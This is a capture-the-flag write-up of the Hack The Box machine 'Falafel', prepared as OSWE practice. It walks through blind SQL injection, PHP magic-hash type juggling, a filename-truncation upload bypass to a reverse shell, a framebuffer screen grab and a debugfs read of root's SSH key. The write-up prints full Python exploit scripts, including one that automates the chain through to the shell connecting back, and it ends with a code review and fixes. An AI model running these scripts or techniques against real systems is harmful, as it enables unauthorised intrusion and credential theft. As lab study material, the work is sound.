Hack the box released a machine named Falafel in 2018. The difficulty set by the community and HTB is Hard, and I can see why considering the machine required quite a few different attack types including blind SQL injection, password cracking, type juggling, file upload bypass, and abusing Linux permissions and group misconfigurations to finally obtain root access. I ran across it in the community-provided list of HTB boxes that are similar to what you may encounter during the OSWE exam.
After I obtained all the flags on the machine, I then took the obtained knowledge and built a script to automate exploitation up to the initial access. Then I dove into the code to better understand why the vulnerabilities existed and provided the recommendations for each finding.
Reconnaissance
As always I started by enumerating ports on the target machine using Nmap with the run all scripts, enumerate versions, and scan all TCP flags. The results didn’t leave much to explore outside of a web server on port 80.
┌──(kali㉿kali)-[~/Documents/htb/falafel] └─$ nmap -sC -sV -oA all_tcp -p- falafel.htb Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-17 09:25 EDT Nmap scan report for falafel.htb (10.10.10.73) Host is up (0.064s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA) | 256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA) |_ 256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/*.txt |_http-title: Falafel Lovers |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.40 seconds
Navigating to the page I was presented with a simple web application with a login page.
Before attempting to log in, I further enumerated files and directories using gobuster using the “raft-large-directories.txt” and “raft-large-files.txt” wordlists.
None of the pages I found included anything of interest. Moving on to the login page, I began fuzzing the inputs looking for injection vulnerabilities. For this, I used Burp Suite Intruder. The results came back with one of three different responses including “Wrong identification: admin”, “Hacking Attempt Detected!”, and “try again”.
As you can see from the results above it seemed as though any SQL statement that should return true, returned the “Wrong identification: admin” response.
Initial Foothold
Based on the information with the response “wrong identification : admin” we have a boolean SQL injection we may be able to use to enumerate data from the database. Look at the response when replacing the “a” with a “b” in this payload “a’%20or%20’a’%20%3d%20’a”.
So basically our boolean would look something like this:
if response == 7091 bytes: Query == True else: Query == False
Below is a script used to compare a known True vs False statement based on the contents returned to the caller. The “checkSqli” function was mostly formed from the Burp Suite extension “Copy As Python-Requests” and uses the bytes value of “7091” to determine True or False results.
import sys import requests def checkSqli(ip, inj_str, query_type): burp0_url = "http://falafel.htb:80/login.php" burp0_cookies = {"PHPSESSID": "s3v3834nlgs1omvj657ovusgk7"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://falafel.htb", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://falafel.htb/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} burp0_data = "username="+inj_str+"&password=test" r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) content_length = int(r.headers['Content-Length']) if (query_type==True) and (content_length == 7091): return True elif (query_type==False) and (content_length != 7091): return True else: return False def main(): if len(sys.argv) != 2: print("[+] usage: %s <target>" % sys.argv[0]) sys.exit(-1) ip = sys.argv[1] falseStatement = "a'%20or%20'a'%20%3d%20'b" trueStatement = "a'%20or%20'a'%20%3d%20'a" if checkSqli(ip, trueStatement, True): if checkSqli(ip, falseStatement, False): print("[+] True / False check complete. Target vulnerable.") else: print("Should not have happened") if __name__ == "__main__": main()
Now that I have a solid boolean-based request I attempted to exfiltrate data by brute-forcing each character. For that, I tested the concept by exfiltrating the target database version. A typical request to get the database version may look like “select version();”, but we will need to make this into a True / False question based on the size of the response returned from the server.
The query used in the script below is asking the database for each ASCII character from 32-126. If the query returns True, print that character to stdout and continue to the next character in the range from 1-30. Remember the logic to determine if the query is True, is the returned “7091” byte count.
import sys import requests def checkSqli(inj_str): for values in range(32, 126): burp0_url = "http://falafel.htb:80/login.php" burp0_cookies = {"PHPSESSID": "s3v3834nlgs1omvj657ovusgk7"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://falafel.htb", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://falafel.htb/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} burp0_data = "username="+inj_str.replace("[CHAR]", str(values))+"&password=test" r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) content_length = int(r.headers['Content-Length']) if content_length == 7091: return values return None def main(): if len(sys.argv) != 2: print("[+] usage: %s <target>" % sys.argv[0]) sys.exit(-1) ip = sys.argv[1] for each in range(1, 30): injectionQuery = "a'%%20or%%20(ascii(substring((select%%20version()),%d,1)))=[CHAR]%%23" % each try: exfilChar = chr(checkSqli(injectionQuery)) sys.stdout.write(exfilChar) sys.stdout.flush() except: print("\n[+] All Characters Found!") break print("\n[+] Done!") if __name__ == "__main__": main()
Perfect! I now have a confirmed method of exfiltrating data from the database. Next, I attempted to confirm what user we are.
Next, I enumerated the users in the database with the following query “select username from users where id = ‘<integer>'”.
Okay so now that I had the usernames stored within the database, I grabbed the hashes to see if the credentials were weak. For that, I used the following query “select password from users where id =’1′”.
I realized after attempting to get the hash format by using “john”, the output was truncated due to the range values provided in the script. I changed the values to allow up to 100 characters to get the full hash.
For cracking hashes I will typically try a site called crackstation.net which has been successful for me in the past. I provided the exfiltrated hashes which resulted in a successful password crack for the user chris!
Privilege Escalation 1 of 3
Using the credentials to log into the web application, I was then presented with a profile page for the user Chris.
No additional access was granted as the user Chris, but I did have a strong clue to look into “Type Juggling” based on the text provided. Loose comparison operators can lead to unexpected behavior when comparing variables. I may be able to take advantage of this vulnerability.
Looking back at the admin password you could immediately recognize a format difference with the leading “0e” followed by all integers. Crackstation was unable to recognize the format, but doing a quick google search on “passwords starting with an 0e” lead to magic hash values. When any value is hashed and starts with “0e” the value is then converted to “^0+ed*$” which equals zero in PHP if the operator is “==”. We can test this on our Kali machine.
Basically, this means that we could pass multiple values as the password for the admin user. Looking at some magic hash lists on GitHub I found this resource. (https://github.com/spaze/hashes/blob/master/md5.md)
Oddly enough the first item in the list contained the value “240610708” which converted to the magic hash we needed to match for authentication as the admin user, but any of the values that convert to “0e*” MD5 should work.
Trying this value allowed me to successfully log in as the admin user!
Successful login lead to an “Upload via url:” page.
I tried to get some command execution using a known PHP backdoor found here.
Denied. Based on the response I tried to bypass the “.png” check with some common file upload bypass techniques. I started by uploading a legitimate .png to check functionality.
The response returned to the caller was very verbose and leaked some important information such as directory location to the attacker.
Navigating to the leaked directory I saw the expected uploaded png. Now if I could just bypass the file type check, I should have command execution and/or a reverse shell.
At this point, I tested a ton of file upload bypass techniques found here. A few of the example attempts:
- php_backdoor.png.php
- php_backdoor.php%00.png
- php_backdoor.php%0a.png
- php_backdoor.phpRANDOMSTRINGpng
- php_backdoor.png.jpg.php
Next, I moved on to a technique involving input length checking. This is when I noticed the name is truncated and then saved in the generated directory. With this in mind, I should be able to bypass the front end by providing the “.png” extension at the end of the file name, but far enough that the last four characters will be removed before being saved. That would leave just the .php extension saved in the directory.
I created a file containing a new single-line PHP reverse shell payload and saved the filename with 236 A’s followed by the “.php”. That equals the file name character limit of 240 and the “.png” should be truncated from the final filename saved to the server.
Yes, I finally had a shell. Once the initial foothold was obtained I navigated the file system checking known configuration files to contain credentials and spot-checking for any anomalies. Below is just an interesting email I found within the web directories.
Privilege Escalation 2 of 3
Within the “connection.php” file, I found credentials for the user moshe. I first attempted to connect to the database with the credentials, but the connection was not successful.
The attempt to change users failed as well.
Next, I checked for password re-use by simply attempting an SSH connection as the user moshe.
Ha, that worked and I grabbed the user flag.
I then used LinPEAS to enumerate the machine for any privilege escalation paths. I started the http.server on my kali machine and pulled the file down with “wget” on the victim.
While reviewing the LinPEAS results I noticed lots of Linux container files and I am familiar with a privilege escalation method related to lxc.
Shortly after beginning to check all the requirements for the lxc privilege escalation, I realized that this user was not part of the correct group, but we were part of a video group.
I looked back at the LinPEAS results and saw another user logged into the machine, which is very uncommon in an isolated HTB environment.
I wasn’t sure what I could do with this, but Google always knows. I found a method here to view another users screen with the following commands. First, I printed the screen from “fb0” to the “/tmp/” directory and named the file “screen.raw. Next, I printed the screen size of the captured screen.
cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size
To work with the file, I moved it to my Kali machine using a simple.http.upload.py script on the Kali machine. Then executed a curl PUT command from the victim. This script was used.
I checked the file type using the “file” command.
Opening the file in GIMP required a bit more configuration in order to display correctly.
Selected file type “Raw image data”.
Configured the width to match the output from earlier, but the height didn’t seem to matter as much.
The image type within GIMP also had to be configured in order to see the image clearly. At this point, GIMP displayed the screenshot perfectly. Not only did this reveal a potential password for the user yossi, but showed the user mistakenly entered the password after the passwd command instead of the target username.
I attempted the new credentials when SSHing as the user yossi, and it worked!
Privilege Escalation 3 of 3
At this point, I copied “linPEAS” back to the machine and executed the script.
Nothing too interesting came from the script except the “Disk” group that yossi was a member of. I didn’t notice this when reviewing the results of the “id” command earlier. Looking at the capabilities of a user with this group showed that I should be able to read and write to files as root. (Source)
First I performed a “df -h” looking for the root drive. Then executed the “debugfs /dev/sda1” command to enter the new debugfs shell. Last I printed the private key for the root user.
I dropped the key content in the “root.key” file and reduced the file permissions. Then logged into the target machine as root!
Exploitation POC
We are preparing for the OSWE so it would be a missed opportunity not to write a single click POC. My goal here was to automate the initial access using the blind SQL injection vulnerability. The simplified flow looked something like this.
The script will exfiltrate the “Admin” user password hash, then log in as the administrator, upload the malicious file, request the malicious file, and return a connection back to the attacker.
Prerequisites:
Before executing the script the caller needs to edit the “AAA…” file that will be uploaded to ensure their attacker machine IP and Port are correctly configured. In addition, the attacker needs to set up an HTTP Server and Netcat listener. These are required for the script to upload the target file and connect back to the attacker.
Flow description:
Though the exfiltrated “Admin” user hash is not required for this PoC, I included the “checkSqli” function in this flow. After the hash has been extracted from the DB, the script performs the initial Admin user login with the “adminLogin” function. This function returns the “Admin” user PHP session ID used in future calls to the web application.
Next, the “revShell” function starts by kicking off the “fileUpload” function. The “fileUpload” function uploads the malicious reverse shell payload and grabs the generated directory location used later within the “revShell” function.
Last, the “revShell” function continues by using the returned directory location to request the file located on the web application. This causes the victim machine to execute the malicious .php file and connect back to the attacker.
import sys import requests import re import subprocess exfilData = [] def checkSqli(ip, port, inj_str): for values in range(32, 126): burp0_url = "http://%s:%d/login.php" % (ip, port) burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://"+ip, "Content-Type": "applicatio n/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.7 4 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/si gned-exchange;v=b3;q=0.9", "Referer": "http://"+ip+"/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "C onnection": "close"} burp0_data = "username="+inj_str.replace("[CHAR]", str(values))+"&password=test" r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) content_length = int(r.headers['Content-Length']) if content_length == 7091: return values return None def adminLogin(ip, port, discoveredPass): burp0_url = "http://%s:%d/login.php" % (ip, port) burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://"+ip, "Content-Type": "application/x- www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Sa fari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed -exchange;v=b3;q=0.9", "Referer": "http://"+ip+"/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Conne ction": "close"} fari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicatio[0/1735]-exchange;v=b3;q=0.9", "Referer": "http://"+ip+"/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Conne ction": "close"} burp0_data = "username=Admin""&password="+ discoveredPass r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) roughAdminCookie = r.headers['Set-Cookie'] finalAdminCookie = re.match("PHPSESSID\=(\w+)", roughAdminCookie) return finalAdminCookie.group(1) def fileUpload(ip, port, attackerIp, attackerPort, phpSessionId): burp1_url = "http://%s:%d/upload.php" % (ip, port) burp1_cookies = {"PHPSESSID": phpSessionId} burp1_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://"+ip, "Content-Type": "application/x- www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://"+ip+"/upload.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Conn ection": "close"} burp1_data = {"url": "http://"+ attackerIp +":"+str(attackerPort)+"/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA.php.png"} r = requests.post(burp1_url, headers=burp1_headers, cookies=burp1_cookies, data=burp1_data) uploadLocation = re.match(".*cd\s\/var\/www\/html\/uploads\/(\d+\-\d+\_\w+)", str(r.content)) return uploadLocation.group(1) def revShell(ip, port, attackerIp, attackerPort, phpSessionId): uploadLocation = fileUpload(ip, port, attackerIp, attackerPort, phpSessionId) burp2_url = "http://%s:%d/uploads/%s/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php" % (ip, port, uploadLocation) burp2_cookies = {"PHPSESSID": phpSessionId} burp2_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} r = requests.get(burp2_url, headers=burp2_headers, cookies=burp2_cookies) print("Check listening port on attacker machine for connection...") def main(): if len(sys.argv) != 5: print("[+] usage: %s <target> <targetport> <attackerIP> <attackerPort>" % sys.argv[0]) sys.exit(-1) ip = sys.argv[1] port = int(sys.argv[2]) attackerIp = sys.argv[3] attackerPort = int(sys.argv[4]) for each in range(1, 100): injectionQuery = "a'%%20or%%20(ascii(substring((select%%20password%%20from%%20users%%20where%%20id%%20=%%20'1'),%d,1)))=[CHAR]%%23" % each try: exfilChar = chr(checkSqli(ip, port, injectionQuery)) sys.stdout.write(exfilChar) exfilData.append(exfilChar) sys.stdout.flush() except: print("\n[+] All Characters Found!") break #Supplying static credentials as admin password creds = 'aabC9RqS' print("Exfiltrated Admin user password hash: "+(''.join(map(str, exfilData)))) phpSessionId = adminLogin(ip, port, creds) revShell(ip, port, attackerIp, attackerPort, phpSessionId) print("\n[+] Done!") if __name__ == "__main__": main()
Execution:
Let’s take a look at the execution of the script above. We saw the returned hash along with some other print statements letting the caller know what stage the exploit is currently in.
Checking the HTTP server on the attacker machine, we see a successful call during the “fileUpload” function.
Last, taking a look back at the listener, we have a connection from the victim machine.
Code Review
Now that I had root, I went back through the code to find where the vulnerabilities were, and what we could recommend as a solution to the developers. Below is the “login_logic.php” file found in the “/var/www/html” directory.
<?php include("connection.php"); session_start(); if($_SERVER["REQUEST_METHOD"] == "POST") { if(!isset($_REQUEST['username'])&&!isset($_REQUEST['password'])){ //header("refresh:1;url=login.php"); $message="Invalid username/password."; //die($message); goto end; } $username = $_REQUEST['username']; $password = $_REQUEST['password']; if(!(is_string($username)&&is_string($password))){ $message="Invalid username/password."; //die($message); goto end; } $password = md5($password); $message = ""; if(preg_match('/(union|\|)/i', $username) or preg_match('/(sleep)/ i',$username) or preg_match('/(benchmark)/i',$username)){ $message="Hacking Attempt Detected!"; //die($message); goto end; } $sql = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_query($db,$sql); $users = mysqli_fetch_assoc($result); mysqli_close($db); if($users) { if($password == $users['password']){ if($users['role']=="admin"){ $_SESSION['user'] = $username; $_SESSION['role'] = "admin"; header("refresh:1;url=upload.php"); //die("Login Successful!"); $message = "Login Successful!"; }elseif($users['role']=="normal"){ $_SESSION['user'] = $username; $_SESSION['role'] = "normal"; header("refresh:1;url=profile.php"); //die("Login Successful!"); $message = "Login Successful!"; }else{ $message = "That's weird.."; } } else{ $message = "Wrong identification : ".$users['username']; } } else{ $message = "Try again.."; } //echo $message; } end: ?>
Blind SQL Injection
Starting at line thirty let’s look at the logic behind this SQL query. So on line 34 if the username exists continue. Line 35, if the user-provided password is equal to the user password stored in the database continue. Here we can see a user enumeration vulnerability because the response changes if the user exists to “Wrong identification : $username”. This is also the response we used to validate True responses from the injection payloads.
$sql = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_query($db,$sql); $users = mysqli_fetch_assoc($result); mysqli_close($db); if($users) { if($password == $users['password']){ if($users['role']=="admin"){ $_SESSION['user'] = $username; $_SESSION['role'] = "admin"; header("refresh:1;url=upload.php"); //die("Login Successful!"); $message = "Login Successful!"; }elseif($users['role']=="normal"){ $_SESSION['user'] = $username; $_SESSION['role'] = "normal"; header("refresh:1;url=profile.php"); //die("Login Successful!"); $message = "Login Successful!"; }else{ $message = "That's weird.."; } } else{ $message = "Wrong identification : ".$users['username']; } } else{ $message = "Try again..";
Looking at line 30 we see a simple injection vulnerability and no sanitization on the $username parameter. This plus the if logic with different error messages leads to the blind SQL injection vulnerability.
Type Juggling Vulnerability
if($users) { if($password == $users['password']){ if($users['role']=="admin"){ $_SESSION['user'] = $username;
On line 35 we have a PHP loose comparison that causes the type juggling vulnerability.
File Upload Vulnerability
The “upload.php” file contained the upload feature for the web application. We had a few different vulnerabilities that affected the upload feature.
<?php include('authorized.php');?> <?php error_reporting(E_ALL); ini_set('display_errors', 1); function download($url) { $flags = FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED | FILTER_FLAG_P ATH_REQUIRED; $urlok = filter_var($url, FILTER_VALIDATE_URL, $flags); if (!$urlok) { throw new Exception('Invalid URL'); } $parsed = parse_url($url); if (!preg_match('/^https?$/i', $parsed['scheme'])) { throw new Exception('Invalid URL: must start with HTTP or HTTPS'); } $host_ip = gethostbyname($parsed['host']); $flags = FILTER_FLAG_IPV4 | FILTER_FLAG_NO_RES_RANGE; $ipok = filter_var($host_ip, FILTER_VALIDATE_IP, $flags); if ($ipok === false) { throw new Exception('Invalid URL: bad host'); } $file = pathinfo($parsed['path']); $filename = $file['basename']; if(! array_key_exists( 'extension' , $file )){ throw new Exception('Bad extension'); } $extension = strtolower($file['extension']); $whitelist = ['png', 'gif', 'jpg']; if (!in_array($extension, $whitelist)) { throw new Exception('Bad extension'); } // re-assemble safe url $good_url = "{$parsed['scheme']}://{$parsed['host']}"; $good_url .= isset($parsed['port']) ? ":{$parsed['port']}" : ''; $good_url .= $parsed['path']; $uploads = getcwd() . '/uploads'; $timestamp = date('md-Hi'); $suffix = bin2hex(openssl_random_pseudo_bytes(8)); $userdir = "${uploads}/${timestamp}_${suffix}"; if (!is_dir($userdir)) { mkdir($userdir); } $cmd = "cd $userdir; timeout 3 wget " . escapeshellarg($good_url) . " 2>&1"; $output = shell_exec($cmd); return [ 'output' => $output, 'cmd' => "cd $userdir; wget " . escapeshellarg($good_url), 'file' => "$userdir/$filename", ]; } $error = false; $result = false; $output = ''; $cmd = ''; if (isset($_REQUEST['url'])) { try { $download = download($_REQUEST['url']); $output = $download['output']; $filepath = $download['file']; $cmd = $download['cmd']; $result = true; } catch (Exception $ex) { $result = $ex->getMessage(); $error = true; } } ?> <!DOCTYPE html> <html> <head> <title>Falafel Lovers - Image Upload</title> <?php include('style.php');?> <?php include('css/style.php');?> </head> <body> <?php include('header.php');?> <br><br><br> <div style='width: 60%;margin: 0 auto; color:#303030'> <div class="container" style="margin-top: 50px; margin-bottom: 50px;position: relati ve; z-index: 99; height: 110%;background:#F8F8F8;box-shadow: 10px 10px 5px #000000;p adding-left: 50px;padding-right: 50px;"> <br><br> <h1>Upload via url:</h1> <?php if ($result !== false): ?> <div> <?php if ($error): ?> <h3>Something bad happened:</h3> <p><?php echo htmlentities($result); ?></p> <?php else: ?> <h3>Upload Succsesful!</h3> <div> <h4>Output:</h4> <pre>CMD: <?php echo htmlentities($cmd); ?></pre> <pre><?php echo htmlentities($output); ?></pre> </div> <?php endif; ?> </div> <?php endif; ?> <div> <p>Specify a URL of an image to upload:</p> <form method="post"> <label> <input type="url" name="url" placeholder="http://domain.com/path/image.png" > </label> <input type="submit" value="Upload"> </form> <br><br> </div> </div> </div> <footer> </footer> </body> </html>
First, excessive data was sent to the user when the upload function was executed. In lines 95 and 96, the “$cmd” and “$output” contents are returned to the caller. There is no reason to present the user with this information.
<pre>CMD: <?php echo htmlentities($cmd); ?></pre> <pre><?php echo htmlentities($output); ?></pre>
Second, the lack of length input allows bypassing the file extension verification in line 24.
if(! array_key_exists( 'extension' , $file )){ throw new Exception('Bad extension'); } $extension = strtolower($file['extension']); $whitelist = ['png', 'gif', 'jpg']; if (!in_array($extension, $whitelist)) { throw new Exception('Bad extension'); }
Recommendations
Blind SQL Injection
The blind SQL injection allowed the attacker to enumerate database users and hashes leading to system compromise. Ensure the username input is validated before processing by looking into a solution such as this. In addition, change the “Wrong identification : ” response to the “Try again..” response. This will prevent any user enumeration from the error responses.
Type Juggling
The attacker was able to bypass admin authentication using magic hash values. Ensure all loose comparisons are changed to strict comparisons to prevent bypassing admin login using magic hash values.
File Upload
File upload misconfigurations allowed the attacker to gain an initial reverse shell to the target system. Remove the verbose outputs to the user containing commands executed and storage locations. Use a generic response that will not reveal unnecessary inner workings of the web application to the user. Ensure the filename supplied by the user is validated for character length before the OS 240 character limit is met or exceeded.
Password Reuse
Password re-use allowed the attacker to gain a shell as the moshe user. Enforce password policies and user education to mitigate password re-use within the organization.
User Linux Groups
Misconfigurations in the linux groups allowed the attacker to laterally move through the system and escalate privileges to root. Review user groups to ensure the principle of least privilege is enforced. If a user does not need access to specific features within the system, remove the access.
Conclusion
Falafel has definitely taken the spot as my favorite HTB machine yet. There were so many different vulnerability categories to discover and test. From excessive data to loose privileges configured for the OS users. I highly recommend this machine for anyone preparing for the OSWE due to the vulnerability categories encountered while rooting the box. If all the boxes on the HTB OSWE-like list are this good, I can’t wait for the next one.
Until next time, stay safe in the Trenches of IT!